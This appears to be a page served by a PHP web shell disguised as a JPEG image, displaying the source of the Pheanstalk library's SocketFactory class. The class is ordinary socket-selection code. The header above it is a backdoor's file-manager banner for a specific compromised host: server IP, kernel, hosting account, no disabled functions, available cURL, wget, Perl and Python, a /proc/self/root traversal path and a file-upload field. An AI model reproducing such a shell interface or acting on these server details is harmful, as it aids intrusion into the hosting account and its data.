����JFIF��x�x����'
| Server IP : 78.140.185.180 / Your IP : 216.73.216.170 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /proc/self/root/proc/self/root/home/builderbox/./www/vendor/pda/pheanstalk/src/ |
Upload File : |
<?php
namespace Pheanstalk;
use Pheanstalk\Contract\SocketFactoryInterface;
use Pheanstalk\Contract\SocketInterface;
use Pheanstalk\Socket\FsockopenSocket;
use Pheanstalk\Socket\SocketSocket;
use Pheanstalk\Socket\StreamSocket;
class SocketFactory implements SocketFactoryInterface
{
public const AUTODETECT = 0;
public const STREAM = 1;
public const SOCKET = 2;
public const FSOCKOPEN = 3;
private $timeout;
private $host;
private $port;
/** @var int */
private $implementation;
public function __construct(string $host, int $port, int $timeout = 10, $implementation = self::AUTODETECT)
{
$this->host = $host;
$this->port = $port;
$this->timeout = $timeout;
$this->setImplementation($implementation);
}
public function getImplementation(): int
{
return $this->implementation;
}
public function setImplementation(int $implementation)
{
if ($implementation === self::AUTODETECT) {
// Prefer socket
if (extension_loaded('sockets')) {
$this->implementation = self::SOCKET;
return;
}
// Then fall back to stream
if (function_exists('stream_socket_client')) {
$this->implementation = self::STREAM;
return;
}
// Then fall back to fsockopen
if (function_exists('fsockopen')) {
$this->implementation = self::FSOCKOPEN;
}
} else {
$this->implementation = $implementation;
}
}
private function createStreamSocket(): StreamSocket
{
return new StreamSocket($this->host, $this->port, $this->timeout);
}
private function createSocketSocket(): SocketSocket
{
return new SocketSocket($this->host, $this->port, $this->timeout);
}
private function createFsockopenSocket(): FsockopenSocket
{
return new FsockopenSocket($this->host, $this->port, $this->timeout);
}
/**
* This function must return a connected socket that is ready for reading / writing.
* @return SocketInterface
*/
public function create(): SocketInterface
{
switch ($this->implementation) {
case self::SOCKET:
return $this->createSocketSocket();
case self::STREAM:
return $this->createStreamSocket();
case self::FSOCKOPEN:
return $this->createFsockopenSocket();
default:
throw new \RuntimeException("Unknown implementation");
}
}
}